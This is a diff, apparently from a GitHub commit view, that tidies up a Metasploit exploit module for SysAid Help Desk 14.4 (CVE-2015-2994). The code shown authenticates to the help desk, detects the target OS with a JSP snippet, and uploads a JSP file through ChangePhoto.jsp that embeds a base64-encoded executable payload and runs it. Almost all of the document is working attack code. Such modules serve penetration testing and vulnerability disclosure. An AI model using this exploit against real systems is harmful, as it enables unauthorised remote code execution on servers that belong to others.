@@ -25,31 +25,30 @@ def initialize(info = {})
25
25
} ,
26
26
'Author' =>
27
27
[
28
- 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
28
+ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
29
29
] ,
30
30
'License' => MSF_LICENSE ,
31
31
'References' =>
32
32
[
33
- [ 'CVE' , '2015-2994' ] ,
34
- [ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ] ,
35
- [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
33
+ [ 'CVE' , '2015-2994' ] ,
34
+ [ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ] ,
35
+ [ 'URL' , 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
36
36
] ,
37
37
'DefaultOptions' => { 'WfsDelay' => 5 } ,
38
38
'Privileged' => false ,
39
39
'Platform' => %w{ linux win } ,
40
+ 'Arch' => ARCH_X86 ,
40
41
'Targets' =>
41
42
[
42
43
[ 'Automatic' , { } ] ,
43
44
[ 'SysAid Help Desk v14.4 / Linux' ,
44
45
{
45
- 'Platform' => 'linux' ,
46
- 'Arch' => ARCH_X86
46
+ 'Platform' => 'linux'
47
47
}
48
48
] ,
49
49
[ 'SysAid Help Desk v14.4 / Windows' ,
50
50
{
51
- 'Platform' => 'win' ,
52
- 'Arch' => ARCH_X86
51
+ 'Platform' => 'win'
53
52
}
54
53
]
55
54
] ,
@@ -94,6 +93,7 @@ def authenticate
94
93
'password' => datastore [ 'PASSWORD' ]
95
94
}
96
95
} )
96
+
97
97
if res && res . code == 302 && res . get_cookies
98
98
return res . get_cookies
99
99
else
@@ -105,14 +105,15 @@ def authenticate
105
105
def upload_payload ( payload , is_exploit )
106
106
post_data = Rex ::MIME ::Message . new
107
107
post_data . add_part ( payload ,
108
- " application/octet-stream" , 'binary' ,
108
+ ' application/octet-stream' , 'binary' ,
109
109
"form-data; name=\" #{ Rex ::Text . rand_text_alpha ( 4 +rand ( 8 ) ) } \" ; filename=\" #{ Rex ::Text . rand_text_alpha ( 4 +rand ( 10 ) ) } .jsp\" " )
110
110
111
111
data = post_data . to_s
112
112
113
113
if is_exploit
114
114
print_status ( "#{ peer } - Uploading payload..." )
115
115
end
116
+
116
117
res = send_request_cgi ( {
117
118
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'ChangePhoto.jsp' ) ,
118
119
'method' => 'POST' ,
@@ -126,15 +127,17 @@ def upload_payload(payload, is_exploit)
126
127
if is_exploit
127
128
print_status ( "#{ peer } - Payload uploaded successfully" )
128
129
end
130
+
129
131
return $1
130
132
else
131
133
return nil
132
134
end
133
135
end
134
136
135
-
136
137
def pick_target
137
- return target if target . name != 'Automatic'
138
+ unless target . name == 'Automatic'
139
+ return target
140
+ end
138
141
139
142
print_status ( "#{ peer } - Determining target" )
140
143
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
@@ -157,13 +160,11 @@ def pick_target
157
160
end
158
161
end
159
162
160
- return nil
163
+ nil
161
164
end
162
165
163
-
164
166
def generate_jsp_payload
165
167
opts = { :arch => @my_target . arch , :platform => @my_target . platform }
166
- payload = exploit_regenerate_payload ( @my_target . platform , @my_target . arch )
167
168
exe = generate_payload_exe ( opts )
168
169
base64_exe = Rex ::Text . encode_base64 ( exe )
169
170
@@ -221,36 +222,24 @@ def generate_jsp_payload
221
222
222
223
jsp = jsp . gsub ( /\n / , '' )
223
224
jsp = jsp . gsub ( /\t / , '' )
224
- jsp = jsp . gsub ( /\x0d \x0a / , "" )
225
- jsp = jsp . gsub ( /\x0a / , "" )
225
+ jsp = jsp . gsub ( /\x0d \x0a / , '' )
226
+ jsp = jsp . gsub ( /\x0a / , '' )
226
227
227
228
return jsp
228
229
end
229
230
230
-
231
- def exploit_native
232
-
233
-
234
- return jsp_name
235
- end
236
-
237
-
238
231
def exploit
239
232
@cookie = authenticate
240
- if not @cookie
241
- print_error ( "#{ peer } - Unable to authenticate with the provided credentials." )
242
- return
243
- else
244
- print_status ( "#{ peer } - Authentication was successful with the provided credentials." )
233
+ unless @cookie
234
+ fail_with ( Failure ::NoAccess , "#{ peer } - Unable to authenticate with the provided credentials." )
245
235
end
236
+ print_status ( "#{ peer } - Authentication was successful with the provided credentials." )
246
237
247
238
@my_target = pick_target
248
239
if @my_target . nil?
249
- print_error ( "#{ peer } - Unable to select a target, we must bail." )
250
- return
251
- else
252
- print_status ( "#{ peer } - Selected target #{ @my_target . name } " )
240
+ fail_with ( Failure ::NoTarget , "#{ peer } - Unable to select a target, we must bail." )
253
241
end
242
+ print_status ( "#{ peer } - Selected target #{ @my_target . name } " )
254
243
255
244
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
256
245
# Fail if this is the case and ask the user to select an appropriate payload.
@@ -260,7 +249,7 @@ def exploit
260
249
261
250
jsp_payload = generate_jsp_payload
262
251
jsp_path = upload_payload ( jsp_payload , true )
263
- if not jsp_path
252
+ unless jsp_path
264
253
fail_with ( Failure ::Unknown , "#{ peer } - Payload upload failed" )
265
254
end
266
255
0 commit comments